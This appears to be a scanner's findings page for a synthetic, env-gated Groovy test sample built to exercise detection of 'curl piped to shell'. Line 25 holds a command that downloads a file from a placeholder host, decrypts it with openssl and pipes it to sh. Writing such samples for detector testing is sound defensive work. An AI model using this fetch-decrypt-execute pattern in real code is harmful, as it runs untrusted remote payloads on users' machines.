Benign Download

063_openssl_download_decode.groovy

Groovy download shell executioncurl piped to shell

SHA-256f8c4ab02c29623914eb4afb9cf1d4554a15e7ebaff359b3801d4d7235a21f33a

Evidence

curl piped to shell lines 1–31

1#!/usr/bin/env groovy
2// Synthetic hostile Groovy corpus sample 63: Decrypt downloaded stage.
3// Inert by default: the dangerous branch is gated by RUN_SYNTHETIC_ATTACKS=true.
4
5import groovy.json.JsonOutput
6
7class SyntheticOpensslDownloadDecode {
8    boolean enabled
9
10    SyntheticOpensslDownloadDecode(boolean enabled) {
11        this.enabled = enabled
12    }
13
⋯9 lines
23    void run() {
24        println(JsonOutput.toJson(plan()))
25        String cmd = 'curl -s hxxps://example.invalid/a.enc | openssl enc -d -aes-256-cbc -k k | sh'
26        if (enabled) { ['bash','-lc',cmd].execute() }
27    }
28}
29
30boolean enabled = System.getenv("RUN_SYNTHETIC_ATTACKS") == "true"
31new SyntheticOpensslDownloadDecode(enabled).run()